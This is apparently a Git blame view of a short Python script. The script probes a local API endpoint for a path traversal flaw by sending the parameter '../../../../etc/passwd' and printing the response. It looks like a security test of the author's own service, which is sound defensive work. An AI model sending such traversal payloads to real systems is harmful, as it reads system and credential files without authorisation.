13 lines
301 B
Python
Raw Normal View History

2024-02-17 02:53:57 +01:00
import requests
# URL of your API endpoint
2024-12-19 13:48:57 +01:00
url = "http://localhost:9600/user_infos/"
2024-02-17 02:53:57 +01:00
# Attempt to access etc/passwd
2024-12-19 13:48:57 +01:00
payload = {"path": "../../../../etc/passwd"}
2024-02-17 02:53:57 +01:00
response = requests.get(url, params=payload)
2024-12-19 13:48:57 +01:00
print(f"Response status: {response.status_code}")
print(f"Response body: {response.text}")